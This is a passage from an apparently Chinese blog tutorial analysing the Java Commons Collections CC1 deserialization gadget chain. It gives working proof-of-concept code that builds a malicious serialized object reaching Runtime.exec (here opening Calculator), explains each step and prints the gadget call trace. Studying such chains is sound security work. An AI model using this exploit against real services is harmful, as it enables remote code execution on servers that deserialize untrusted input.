            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
            //循环反射调用InvokerTransformer.transform()方法执行Rce
            Transformer transformerChain = new ChainedTransformer(transformers);
            //通过LazyMap的get方法调用ChainedTransformer.transform()方法
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    
            //反射创建AnnotationInvocationHandler方法,把恶意的LazyMap赋值给InvocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
            
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
            oos.writeObject(handler);
    
        }
    
    
        }
    }
    
    

    我们先来看第一段

    反射创建AnnotationInvocationHandler类,实例化对象时把Retention.class、 outerMap传给InvocationHandler接口,因为AnnotationInvocationHandler实现了InvocationHandler方法

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
    

    第二段动态代理

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
    
    • 第一个参数:People.getClass().getClassLoader(),使用handler对象的
      classloader对象来加载我们的代理对象
    • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
    • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

    那么在这段poc的执行中执行反序列化的时候,服务器读取了我们的恶意序列化文件,把他反序列化,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap。

    因为proxyMap是我们的代理对象,所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次
    执行AnnotationInvocationHandler的invoke()方法后又会调用get方法,再次回到刚刚的地方了。
    LazyMap 的get方法方法里面的this.factory为Transformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

    利用链

    Gadget chain:
    		ObjectInputStream.readObject()
    			AnnotationInvocationHandler.readObject()
    				Map(Proxy).entrySet()
    					AnnotationInvocationHandler.invoke()
    						LazyMap.get()
    							ChainedTransformer.transform()
    								ConstantTransformer.transform()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Class.getMethod()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.getRuntime()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.exec()
    

    思维导图

    参考:

    https://www.cnblogs.com/adamjwh/p/9683705.html

    https://www.anquanke.com/post/id/230788

    https://www.cnblogs.com/nice0e3/p/13779857.html

  • 相关阅读:
    YOLOv8 多种任务网络结构详细解析 | 目标检测、实例分割、人体关键点检测、图像分类
    【CSDN竞赛第五期】编程竞赛体验感受
    虚幻4学习笔记(14)界面切换、局域网联机
    Pytorch CIFAR10图像分类 Vision Transformer(ViT) 篇
    C++除法分支
    Prometheus Operator 极简配置方式在k8s一条龙安装Prometheus 监控
    AcWing 383. 观光 题解(最短路)
    python中的bisect模块与二分查找
    【MySQL】在CentOS环境下安装MySQL
    不得不说,在很多业务中,这种模式用得真的很香
  • 原文地址:https://www.cnblogs.com/akka1/p/16084122.html